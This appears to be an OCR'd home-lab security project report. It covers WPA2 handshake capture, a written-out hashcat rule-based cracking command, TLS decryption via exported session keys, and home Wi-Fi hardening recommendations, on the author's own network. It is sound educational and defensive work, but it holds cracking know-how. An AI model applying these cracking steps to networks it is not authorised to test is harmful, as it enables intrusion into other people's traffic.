11716 55.588446 74.125.166.38 192.168.1.71 102 443 -~ 58t

90 58529 Z

11722 55.588462 192.168.1.71 74.125.166.38

tinuat
1498 Continuat
1498 Continuat

1498 Continuat
1 [T

1498 Continuat
1498 Continuat
1498 Continuat
1498 Continuat
1498 Continuat

1498 Continuat

.681183

.681343
11759 55.681366
11760 55.681392
11761 55.681404
11762 55.681416
11763 55.681434

182 bytes captured (816 bits)

ion 4, Src: 192.168.1.71, Dst: 74.125.166.38
a
5)

(DSCP: CS®, ECN: Not-ECT)

[validation disabled]
nverified]

Transmission Control Protocol, Src Port: 58529, Dst Port: 443, Seq: 0, Len: ©

2
o

The internal IP address 192.168.1.71 is the source of most traffic, with multiple external IP

addresses:
> 74.125.166.38 (Google-owned)
> 142.251.32.42 (also part of Google infrastructure)
«» The destination port is 443, which is standard for HTTPS (secure web traffic).
< Atypical TCP 3-way handshake is visible:
> SYN from 192.168.1.71 to 74.125.166.38 (Frame 11669)
> SYN-ACK back from the server

> ACK from the client, completing the connection setup

2
6

Following the handshake, the protocol switches to SSL/TLS, specifically TLSv1.2 in Frame 11750,

indicating that the encrypted HTTPS session has begun.
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2

< Multiple 1498-byte packets indicate a high volume of encrypted traffic, likely from a streaming

service left active on the target device.

Why TLS Traffic Was Not Decrypted - and What It Would Take

While this project successfully decrypted WPA2 wireless traffic at the network level, the
contents of many communications—such as web browsing—remained encrypted due to Transport Layer
Security (TLS). TLS operates at the application layer (Layer 7 of the OSI model) and provides end-to-end
encryption for protocols like HTTPS, meaning that even after Wi-Fi decryption, the payloads of TLS-

encrypted sessions cannot be read without access to additional keys or exploits.

To decrypt TLS traffic, one of the following would generally be required:

1. Access to TLS Session Keys:

If you control the endpoint (such as the client device or server), you can configure it to export
session keys. For example, a browser like Firefox or Chrome can be launched with an environment
variable (SSLKEYLOGFILE) that saves session keys used in TLS connections. These keys can then be
loaded into Wireshark to decrypt HTTPS traffic from that session. This method is only feasible in a lab

environment where you control the client device.

2. Man-in-the-Middle (MitM) Attack with a Rogue Certificate:

A MitM attack can be attempted by setting up a rogue access point or proxy server and installing
a fake root certificate on the victim's device. Tools like mitmproxy or Burp Suite can intercept and
decrypt TLS traffic by re-signing it with the attacker’s certificate. However, this method only works if the
client accepts the rogue certificate—usually requiring physical access or social engineering—and is

blocked by techniques like certificate pinning.

3. Private Key Access (Server-side)

If the attacker has access to the private key of the web server (which should be secret), and if
static RSA key exchange is used (which is now deprecated), then TLS traffic can be decrypted. However,
modern TLS 1.2+ sessions typically use ephemeral keys (DHE/ECDHE), which generate a unique session

key per connection and do not allow decryption even with the server's private key.

4. TLS Downgrade or Exploit
In rare cases, outdated or misconfigured servers may still support weak ciphers or older versions

of TLS (e.g., TLS 1.0/1.1), which are vulnerable to downgrade or cryptographic attacks. Exploiting these
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vulnerabilities is difficult, unreliable, and typically only relevant in enterprise red-team assessments of

academic research.

TLS Decryption in Wireshark
In this project, TLS traffic was captured during the same session as the WPA2 handshake, using
Wireshark on the wlanOmon interface. After successfully recording the 4-way EAPOL handshake from
the Dell device, | continued monitoring the channel to capture the device’s ongoing network activity.
While the capture was still running, the Dell accessed secure websites, resulting in multiple encrypted

TLS sessions being recorded in the same file (hack 1.cap). These sessions appear as:

«» TCP connections over port 443
«» TLSv1.2 and TLSv1.3 handshakes

2

< Encrypted application-layer data typical of HTTPS

This confirmed that the capture contained not only the WPA2 handshake (needed for decrypting
802.11 traffic) but also full TLS sessions, complete with metadata such as source/destination IPs, SNI
values, and encrypted payload lengths. However, the application data itself remained encrypted due to

the absence of TLS session keys—highlighting the layered nature of modern encryption.

TLS Decryption with Session Keys
After capturing the WPA2 handshake and isolating Dell’s traffic through earlier steps, the next
phase involved setting up Firefox on the target device to export TLS session keys. This allowed for full

decryption of HTTPS traffic within Wireshark.
1. Enable TLS Session Key Logging on Target Device
> Create environment variable SSLKEYLOGFILE on Dell.
> Set value to output TLS session keys to C:\Users\YOUR_USERNAME\Desktop\sslkeys.log.
> Make sure Firefox was closed before setting the variable.

> Relaunched Firefox so session keys would be captured.



Computer Name Hardware Advanced System Protection Remote

You must be logged on as an Administrator to make most of these changes.
User variables for ktkka
Performance ) )
Visual effects, processor scheduling. memory usage. and virtual memory Variable Value

OneDrive C:\Users\ktkka\OneDrive

OneDriveConsumer C:\Users\ktkka\OneDrive

Path C:\Users\ktkka\AppData'\Local\Microsoft\WindowsApps; C:\Users\k...
SSLKEYLOGFILE C\Users\ktkka\sslkeys.log

TEMP C:\Users\ktkka\AppData\Local\Temp

TMP C:\Users\ktkka\AppData\Local\Temp

Settings...

User Profiles
Desktop settings related to your signin

Settings.

Startup and Recovery Delete

System startup, system failure, and debugging information

Settings... System variables

Variable Value

Environment Variables... ComSpec C:AWINDOWS\system32\cmd.exe

DriverData C:\Windows\System32\Drivers\DriverData

IGCCSVC_DB AQAAANCMnd8BFdERjHoAWE/Cl+sBAAAAZVGpxhqNMked7R3)GS...
Cancel Apply NUMBER_OF_PROCESSORS 12

oS Windows_NT

Path CAWINDOWS\system32;, C:\WINDOWS; C:AWINDOWS\System32\Wh...
PATHEXT .COM:.EXE:.BAT:.CMD:.VBS:.VBE:.JS:.JSE:. WSF:.WSH:.MSC

7 Type the name of a program, folder, document, or Internet New... Edit... Delete
=) resource, and Windows will open it for you.

open: [BEEEERD

Cancel

[ oK Cancel Browse...

2. Generate Browsing Activity
> QOpen Firefox on Dell
> Browse multiple HTTPS website (such as YouTube)
> Capture traffic in parallel on Kali Linux
3. Transfer TLS Session Key File from Target to Kali
> Use a usb flash drive to retrieve the sslkeys.log file from target device (Dell)
> Transfer the file onto Kali Linux for use in Wireshark analysis

4. Configure Wireshark to decrypt HTTPS Traffic
> QOpen the captured .cap file in Wireshark
> Navigate to Edit/Preferences/Protocols/TIS

> Set the (Pre)-Master-Secret log filename field to point to the transferred sslkeys.log

29



TiVoConnect
TLS

TNS
Token-Ring
TPCP

TPKT

Transport Layer Security

RSA keys list  Edit...
TLS debug file
Browse...

v Reassemble TLS records spanning multiple TCP segments
v Reassemble TLS Application Data spanning multiple TLS records

Message Authentication Code (MAC), ignore "mac failed”
Pre-Shared Key
(Pre)-Master-Secret log filename

[home/kayvon/Desktop/sslkeys.log

5. Analyze and Identify Decrypted Web Activity

> Apply Wireshark filter to locate Dell’s browsing activity

> ‘tIs.handshake.type == 1’ for Client Hello packets

> ‘dns’ to locate domain queries

X Cancel
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ONS 1.. Standard query response Oxbdca A gateway.instagram.com CNAME dgw.c10r.facebook.cc
DNS 1.. Standard query Oxc50b A pub-csm-usce-03-t.trouter.skype.com

DNS 1.. Standard query 0x3ff4 SRV _ldap._tcp.dc._msdcs.attlocal.net

DNS 4.. Standard query response 0xc50b A pub-csm-usce-03-t.trouter.skype.com CNAME partit
ONS 1.. Standard query 0x7829 A us@4zpns.zoom.us

NS 1.. Standard query response 0x7829 A us04zpns.zoom.us CNAME zpns.zoom.us CNAME zpns-I
DNS 1.. Standard query 0x587c A teams.live.com

ONS 1.. Standard query 0xd183 HTTPS teams.live.com

ONS 1.. Standard query 0xe571 A ssl.gstatic.com

ONS 1.. Standard query response 0xe571 A ssl.gstatic.com A 142.251.46.163

DNS 1.. Standard query 0x14d7 A ssl.gstatic.com

ONS 1.. Standard query ©xe4c8 AAAA ssl.gstatic.com

ONS 1.. Standard query Oxcb76 A signaler-pa.clients6.google.com

ONS 1.. Standard query 0x7720 A chat.google.com

DNS 1.. Standard query response 0x4356 A tv.youtube.com A 142.251.32.46

DNS 1.. Standard query 0x73f8 SRV _ldap._tcp.dc._msdcs.attlocal.net

DNS 2.. Standard query response 0x583d A ic3.events.data.microsoft.com CNAME teams-events
DNS 2.. Standard query response 0x0169 AAAA ic3.events.data.microsoft.com CNAME teams-eve
DNS 1.. Standard query 0x3cfe A attlocal.net

ONS 1.. Standard query 0x01bl A www.msftconnecttest.com

ONS 1.. Standard query response 0x3cfe A attlocal.net

ONS 1.. Standard query 0x494f A ssl.gstatic.com

ONS 1.. Standard query 0xf6f1i A chat.google.com
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During the browsing session, DNS queries from the Dell device were recorded, showing
attempts to resolve domains linked to major websites. The captured traffic included queries to
subdomains of Facebook, Google, and YouTube, offering strong evidence of real-world web activity.
These DNS lookups, collected while monitoring wireless traffic, confirm that the device actively

interacted with popular services during the analysis period.

Wireshark Capture of Local Network Broadcast Traffic Including LLMNR,
NBNS, and SSDP Protocols

*wlanOmon

File Edit View Go Capture Analyze S5t ics Telephony Wireless Tools Help

ADA® e @BE@ a2 ¢« »>n«>BES oo 0@

A udp BT ]

0. Time Source Destination Protocol Length Info
41.247989682 192.168.1.71 224.0.0.251 MDNS 255 Standard query response 6x6000 AA

41.247991977 fe80::67ec:bec 5863 ffe2::1:3 LLMNR 147 Standard query ©x2667 ANY HPK
4005 41.247992410 192.168.1.71 224.0.0.252 LLMNR 127 standard query ©x2667 ANY HPK
4010 41.249066169 192.168.1.71 224.0.0.251 MDNS 133 Standard query 8x0000 ANY HPK.lod
4011 41.249240492 feB80::67ec:bOc:abf4:5863 ffe2::fb MDNS 153 Standard query ©x0000 ANY HPK.lod
4012 41.249540853 fes80::67ec:boc:abf4:5863 ffe2::1:3 LLMNR 147 standard query ©xaSbe ANY HPK
4013 41.250010488 feB80::67ec:bOc:abf4:5863 ffe2::fb MDNS 275 Standard query response 0x0000 AA
4014 41.250012742 192.168.1.71 224.0.0.252 LLMNR 127 standard query ©xaSbe® ANY HPK
4015 41.250689800 192.168.1.71 224.0.0.251 MDNS 255 Standard query response 0x0000 AA
4016 41.250691930 192.168.1.71 192.168.1.255 NBNS 174 Registration NB HPK<@0>
4017 41.250921508 192.168.1.71 192.168.1.255 NBNS 174 Registration NB WORKGROUP<@@>
4018 41.252383155 192.168.1.71 192.168.1.255 NBNS 174 Registration NB HPK<20>
4123 41.552557797 fe80::67ec:bOc:abf4:5863 ffo2::c uoP 1383 63568 — 3702 Len=1257
4124 41.554223867 192.168.1.71 239.255.255.250@ ubP 1183 63567 — 3702 Len=1077
4164 41.858415409 192.168.1.71 224.0.0.251 MDNS 133 standard query 8x0000 ANY HPK.lod
4165 41.858416885 feB80::67ec:b@c:abf4:5863 ffe2::fb MDNS 153 Standard query 8x8000 ANY HPK.lod
4166 41.858854758 fe80::67ec:boc:abf4:5863 ffo2::fb MDNS 275 Standard query response 0x0800 AA

4167 41.859463219 192.168.1.71
4168 41.859466529 fe80::67ec:boc:abf4:5863

L MDNS 255 Standard query response 0x0000 AA
s LLMNR 147 Standard query @xd76c ANY HPK

4169 19 .252 LLMNR 127 Standard query @xd76c ANY HPK
4170 4 fe: bec:abf4:5863 C SSDP 221 M-SEARCH * HTTP/1.1
4171 . 192.168.1.71 255.250 SSDP 207 M-SEARCH * HTTP/1.1
4172 41.862368250 feB80::67ec:bOc:abf4:5863 ubP 1383 63568 — 3702 Len=1257
4173 41.863310401 fes80::67ec:boc:abf4:5863 uop 750 59477 —~ 3702 Len=624
4174 41.864210597 192.168.1.71 .255.250 ubP 730 59476 — 3702 Len=624
4175 41.865983335 192.168.1.71 255.250 uop 1183 63567 — 3702
4176 41.866811768 192.168.1.71 255.250@ uoP 730 59476 — 3702
4177 41.868816885 fes80::67ec:boc:abf4:5863 uop 1383 63568 . 3702
4178 41.869995542 fe80::67ec:b@c:abf4:5863 uopP 750 59477 — 3702 Len=624
4198 42.173466065 192.168.1.71 .255.250 upP 1183 63567 — 3702 Len=1077
4199 42.173467761 192.168.1.71 1.255 NBNS 174 Registration NB HPK<00>
4200 42.173468511 192.168.1.71 .1.255 NBNS 174 Registration NB HPK<20>
4201 42.173468792 192.168.1.71 1.255 NBNS 174 Registration NB WORKGROUP<8@>
4204 42.173470159 192.168.1.71 .251 MDNS 145 Standard query ©x0000 ANY HPK. dg
4205 42.173470430 fes80::67ec:boc:abf4:5863 MDNS 165 Standard query 8x0000 ANY HPK._dd
4206 42.173470952 192.168.1.71 239.255.255.250 UDP 730 59476 — 3702 Len=624
4244 42.472525315 192.168.1.71 224.0.0.251 MDNS 145 Standard query 8x0000 ANY HPK._dd
4245 42.472527196 fe80::67ec:b@c:abf4:5863 ffe2::fb MDNS 165 Standard query ©x0000 ANY HPK._ dq
4246 42.472527614 192.168.1.71 224.0.0.251 MDNS 145 Standard query 8x0800 ANY HPK._dq
4247 42.474699147 fe80::67ec:bOc:abf4:5863 ffe2::c uoP 1383 63568 — 3702 Len=1257
4248 42.474703061 feB80::67ec:bOc:abf4:5863 ffez::fb MDNS 165 Standard query @x0000 ANY HPK._dd
4249 42.475896178 fe80::67ec:bOc:abf4:5863 ffo2::c uoP 750 59477 - 3702 Len=624
4250 42.477314975 192.168.1.71 239.255.255.250@ ubP 1183 63567 — 3702 Len=1077
4251 42.487019180 192.168.1.71 224.0.0.251 MDNS 1288 Standard query response 0x0800 SR
4252 42.487028185 feB80::67ec:bOc:abf4:5863 ffe2::fb MDNS 1308 Standard query response 0x0000 SR
4269 42.780869847 192.168.1.71 192.168.1.255 NBNS 174 Registration NB HPK<00>
4270 42.780871678 192.168.1.71 192.168.1.255 NBNS 174 Registration NB HPK<20>
4271 42.780872034 192.168.1.71 192.168.1.255 NBNS 174 Registration NB WORKGROUP<@®> —
4272 42.780872675 192.168.1.71 239.255.255.250 uopP 730 59476 — 3702 Len=624 —
4346 43.178514757 fe80::67ec:boc:abf4:5863 ffe2::c upP 790 59477 - 3702 Len=624
4390 43.390013412 192.168.1.71 192.168.1.255 NBNS 174 Registration NB WORKGROUP<8@>
4391 43.390261212 192.168.1.71 192.168.1.255 NBNS 174 Registration NB HPK<20>
4392 43.391027378 192.168.1.71 192.168.1.255 NBNS 174 Registration NB HPK<00>
4409 43.422635002 192.168.1.71 224.0.0.251 MDNS 1288 Standard query response 0x8800 ‘-
4413 43.425668973 fe80::67ec:boc:abf4:5863 ffo2::fb MDNS 1308 Standard query response 0x0800 SR
4720 44.315371561 192.168.1.71 239.255.255.250 SSDP 243 M-SEARCH * HTTP/1.1
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4721 44.325645202 192.168.1.71 239.255.255.250 uDP 730 59476 . 3702 Lel
4781 44. 9943 fe; bec:abf4:5863 ffe2::c SSDP 221 M-SEARCH * HTTP. 1
4782 44.622831455 192.168.1.7. 239.255.255.250 SSDP 207 M-SEARCH * HTTP/1.1
4797 45.237952188 :hoc:abf4:5863 2::C UDP 750 59477 -~ 3702 Len=624

. 545844454 0 Oc:abf4:5863 ffi & SSDP 221 M-SEARCH * HTTP/1.1
4834 45.545844860 192.168.1.71 239_.255.255.250 SSDP 207 M-SEARCH * HTTP/1.1 .

n wire (1664 bits), 208 bytes captured (1664 bits) on interfac id @ 2

wlan@men,

Packets: 18753 - Displayed: 292 (1.6%) - Dropped: 0 (0.0% Profile: Default

This capture contains various types of background network traffic that occur as part of normal
LAN device discovery and name resolution. The traffic is primarily UDP-based and includes the following

protocols:

SSDP (Simple Service Discovery Protocol)

< Uses UDP port 1900.
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Part of the Universal Plug and Play (UPnP) suite.

R
L <4

Used for discovering and advertising devices and services on the local network.

2
%

2
%

Seen in the capture as HTTP-style SEARCH and NOTIFY messages.

LLMNR (Link-Local Multicast Name Resolution)
« Uses UDP port 5355.

% Allows devices to resolve hostnames on the same local subnet without a DNS server.

*

< Commonly used by Windows systems for fallback name resolution.

*

NBNS (NetBIOS Name Service)
< Uses UDP port 137.
< An older name resolution protocol used in Windows networks.

*

% Broadcast-based queries for device names and addresses.

mDNS (Multicast DNS)
« Uses UDP port 5353.

% Allows devices to perform DNS-like queries on the local network without a DNS server.

% Common in Apple devices and smart home/IoT environments.

UDP (User Datagram Protocol)
< The transport layer protocol is used by all the above.
% Lightweight and suitable for broadcast and multicast traffic.
< Enables fast service and device discovery in local networks.

% These protocols generate traffic even when users are idle, as devices routinely announce their
presence and listen for services. Capturing and analyzing this traffic helps map out active
devices, services, and behaviors on a network. It also highlights how certain name resolution
services (like LLMNR and NBNS) can be leveraged by attackers.

Decrypting the WPA2 traffic allowed me to view device activity, network metadata, and capture
full TCP and TLS sessions. However, the actual contents of HTTPS traffic remained protected by TLS
encryption, preventing full visibility into user data. By using session keys in a controlled environment, |
was able to demonstrate how TLS traffic can be decrypted when the right keys are available.



Passkey Cracking Use Cases

To test stronger, more realistic passwords, | replaced the original weak WPA2 password with a

tougher one: CyberProud2025 inside the router management console. This new password mixed
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uppercase and lowercase letters with numbers, making it much harder to crack using a basic dictionary

attack.

Home S5ID
Home 551D Enable
Network Mame (551D)
Security

Password

an v
ATTK-5G
Custom Password ~

Cyberproud2025

Default: On
Default: ATTNmEibst

Default: Default Password

Default: Txamu?7gk+yc

For my first cracking attempt, | used Aircrack-ng with the rockyou.txt wordlist, which is a go-to

collection of commonly used passwords. The tool ran through over 14 million possible keys at a rate of

around 2,000 keys per second. Despite letting it run for almost three hours, the result was clear: KEY

NOT FOUND. The screenshot shows that the estimated time left ballooned into the absurd—over 113

million days—which just underscores how inefficient a dictionary attack becomes when the password

isn’t in the list. This test confirmed that CyberProud2025 wasn't part of rockyou.txt and that even

moderately strong passwords can be very effective against standard, low-effort attacks.

[02:57:33] 14345517/14344392

Time left: 1133207734 days, 1 hour, 4 minutes,

Master Key

Transient Key

EAPOL HMAC

Aircrack-ng 1.7

KEY NOT FOUND

keys tested

74 k/s)

@ seconds 100.01%
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To take things further, | used Hashcat, a more advanced and flexible password cracking tool.
Hashcat supports multiple attack types including dictionary, rule-based, brute-force, and hybrid. It can
run on both CPUs and GPUs, and it’s commonly used for WPA2 cracking when Aircrack-ng isn’t enough.
For this attempt, | ran a rule-based attack using the command below, which combines the rockyou.txt

wordlist with the best64.rule:
« hashcat -m 22000 hacktls.22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

This setup applies common password mutations like capitalizing words, appending numbers, or

replacing letters—designed to guess more realistic passwords based on patterns people often use.

.2200@ /fusr/share/wordlists/rockyou.txt -rv Jusr/share/ha

OpenCL API (OpenCL 3.0 PoCL 6.0+debiam Linux, None+As
EF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl projec

serts, RELOC, LLVM 17.@.6, SLE
t]

* Device #1: cpu-penryn-13th Gen Intel(R) Core(TM) i7-1365U, 4549/9162 MB (2048 MB a
1locatable), 4MCU

Minimum

issword length supported by kernel:
Maximum 55

a
assword length supported by kernel: 63
Hashes: i
Bitmaps: 16
Rules: 77

1 dige
bi

sts; 1 unigue d
ts, 65536 entrie

Watchdog: Temperature abort trigger se o 98c
Host memory required for is attack: 1 MB
Dictionary cache built:

* Filename..: fusr/share/wordlists/rockyou.txt

Passwords. :
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Hashcat quickly processed over 14 million password guesses in just 1 second during the rule-
based attack. The output shows that the session completed successfully but no password was cracked.
This means that none of the entries in the rockyou.txt wordlist, even after applying the best64.rule
mutations, matched the captured WPA2 handshake. So far, no successful results have been obtained.
This highlights the difficulty of cracking a strong password with basic wordlists and simple rule-based

modifications. If a password is recovered later, the findings will be updated.

In this experiment, Hashcat’s performance was constrained by the absence of GPU acceleration.
Operating solely on a CPU, even rapid rule-based attacks were unable to recover the password. While
Hashcat quickly processed over 14 million guesses during the session, the lack of a graphics card made
more intensive attacks, such as brute-force, inefficient and impractical. A GPU like the Nvidia RTX 4090

would significantly boost attack speed, handling hundreds of thousands of guesses per second.

Ultimately, this highlights that in real-world scenarios, both strong password practices and

hardware resource constraints serve as critical defenses against unauthorized wireless exploitation.

Recommendations

As home networks increasingly become the backbone of daily life - supporting remote work, smart
home devices, education, and sensitive financial transactions - it is critical to ensure they are properly
secured against evolving cyber threats. Weak wireless configurations can leave users vulnerable to risks

such as unauthorized access, data interceptions, and targeted attacks.

The following recommendations provide practical, high-impact steps to strengthen the security of
home Wifi environments. These measures are designed to minimize attack surfaces, reinforce
authentication mechanisms, and enhance visibility and control across the network, creating a resilient

foundation for both personal and professional use.

Home Network Recommendations

4 Rudisail, B. (2022, November). Tackling GPU-enabled password cracking. Spiceworks.
https://www.spiceworks.com/it-security/identity-access-management/articles/tackling-gpu-enabled-password-

cracking/



https://www.spiceworks.com/it-security/identity-access-management/articles/tackling-gpu-enabled-password-cracking/
https://www.spiceworks.com/it-security/identity-access-management/articles/tackling-gpu-enabled-password-cracking/
https://www.spiceworks.com/it-security/identity-access-management/articles/tackling-gpu-enabled-password-cracking/
https://www.spiceworks.com/it-security/identity-access-management/articles/tackling-gpu-enabled-password-cracking/
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Use Strong and Unique Wi-Fi Passwords
Weak or commonly used passwords remain one of the most exploited vulnerabilities in home

networks.
> Avoid dictionary words or predictable phrases.

> Use a long, complex passphrase that includes upper and lowercase letters, numbers,

and symbols.
> This helps defend against both brute-force and dictionary-based attacks.

Upgrade to WPAS3 if Available
WPA3 introduces stronger encryption methods and eliminates the vulnerability of capturing a
handshake for offline cracking. Unlike WPA2, WPA3 uses Simultaneous Authentication of Equals

(SAE) which is resistant to dictionary attacks.

> |ntroduces Simultaneous Authentication of Equals (SAE), which prevents offline attacks

like the one demonstrated in this project.
> WPAS3 support should be confirmed for both the router and connected devices.

Disable WPS (Wi-Fi Protected Setup)
WPS is known to be vulnerable to brute-force attacks. Even if WPA2 is properly configured, WPS

can offer an easier point of entry for attackers.

> |t allows attackers to brute-force the setup PIN and gain access even if the main Wi-Fi

password is strong.
> Disabling WPS through router settings reduces this risk.

Segment Your Network with VLANs or Guest Wi-Fi

Use a guest network for devices that do not need access to your main network resources.

> Minimizes the risk of lateral movement in case one device is compromised.

> For advanced users, VLAN segmentation can offer even stronger isolation.
Enable Multi-Factor Authentication (2FA) on Routers
> Critical for preventing unauthorized configuration changes.

> Protects access even if credentials are compromised.



37

> Enable automatic firmware updates or manually check them regularly.
< Use MAC Address Filtering and Hide SSID
> MAC filtering allows only pre-approved devices to connect.

> Hiding the SSID reduces visibility to attackers but should be relied upon as a primary
defense.
> These methods should be paired with WPA2/WPA3 encryption and strong passwords.

< Keep Router Firmware Updated

> Manufacturers often release security patches to fix known vulnerabilities.

> Keeping the router’s firmware up to date ensures protection against newly discovered

exploits.
< Regularly Monitor Network Traffic and Devices
> Periodically check the list of connected devices to detect unknown or suspicious devices.

> Tools like Wireshark, router logs, or even mobile apps provided by router manufacturers

can help maintain visibility.

Recommended GPUs for Password Cracking

Top 2 Internal Graphics Cards:

% NVIDIA RTX 4090 (link)
> currently the highest-performing GPU available for password cracking.
> Extremely fast, capable of handling massive numbers of hash guesses per second.
« AMD Radeon RX 7900 XTX (link)
> AMD’s flagship GPU for performance-heavy tasks delivering high cracking speeds.
> Generally cheaper than the RTX 4090 while offering strong performance.

> Consumes less power compared to NVIDIA's top-end cards in many tasks.

Top 2 External GPU (eGPU) Solutions for laptops:


https://www.nvidia.com/en-us/geforce/graphics-cards/40-series/rtx-4090/
https://www.amd.com/en/products/graphics/desktops/radeon/7000-series/amd-radeon-rx-7900xtx.html
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2

% Razer Core X Chroma (link)
> A popular and reliable eGPU enclosure that supports large, high-power graphics cards
like the RTX 4090 or 4080.
> Connects via Thunderbolt 3 or 4, offering strong performance while maintaining laptop
portability.
< Sonnet eGFX Breakway Box 750ex (link)
> Provides excellent thermal management and power delivery, suitable for high-end
GPUs.
> QOffers a slightly more affordable option compared to the Razer Core, with stable and

efficient performance.

Note:

GPUs provide a major speed advantage over CPUs in password cracking by processing many
computations at once. Using a GPU significantly reduces the time required for attacks like brute-force or
rule-based methods.

Conclusion

This project simulated a real-world Wi-Fi attack using Kali Linux and tools like airmon-ng,
airodump-ng, aircrack-ng, and Hashcat to capture and crack a WPA2 handshake. After collecting the
handshake with a USB Wi-Fi adapter, | launched an offline dictionary attack with rockyou.txt. Once the
password was recovered, | used Wireshark to decrypt wireless traffic. With access to the session keys, |
was able to decrypt TLS sessions and view HTTPS traffic in full, showing how a weak Wi-Fi password can

compromise even encrypted communications.

Through this process, it became clear that while CPU-based cracking is enough for weak
passwords, stronger passphrases resist attacks without powerful hardware. Testing with Hashcat
showed that using a GPU—rather than a CPU—would dramatically speed up password recovery, turning

multi-year cracks into minutes. This highlighted how critical hardware is in real-world attack scenarios.


https://www.razer.com/gaming-egpus/razer-core-x).?srsltid=AfmBOooDb07DDpYDMs5Ef1EEB5wChqObD1gdFc2kU2j-UWJRy2Rd4JUH
https://www.sonnettech.com/product/egpu-breakaway-box/overview.html
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Applying these lessons, | strengthened my home network: | upgraded my WPA2 passphrase,
used AT&T’s Smart Home Manager for monitoring, isolated smart devices on a guest network, and
secured public Wi-Fi use with VPNs. These steps create a layered defense, reducing the risks exposed in

this project.

CyberGhost VPN
I McAfee | Total Protection - 5 Devices © Account —

Device status

Protect your browsing ——

O
@ * Block malware and phishing sites S SmartHomeMa X = + v — o

& * Get alerted before visiting risky sites g
o N Antivirus on C O B https//wwwattcon v¥ 81 O

= AT&T

Advanced Firewall on
N ) Welcome, Kayvon
Get Web Protection (2 Blocking risky connections [ —

Shortcuts ik

Scam Detector New Secure VPN c Identity Monitoring Antivirus AT&T Internet Security

\/ 2protection
We'll help keep you safe \/ 17 protected devices
P, 20ROl Oon Scan for your data on the Oon
from email, video, and text R

scams securing connection scanning in real-time
Security exceptions
@ These allowed sites were previously filtered out and
Review your protection - VPN settings —> Find breaches (2 Runascan = marked suspicious.

AT&T Advanced Internet Security
\_7  22threats blocked since February, 2025

@ VPNlocation
&5 United States
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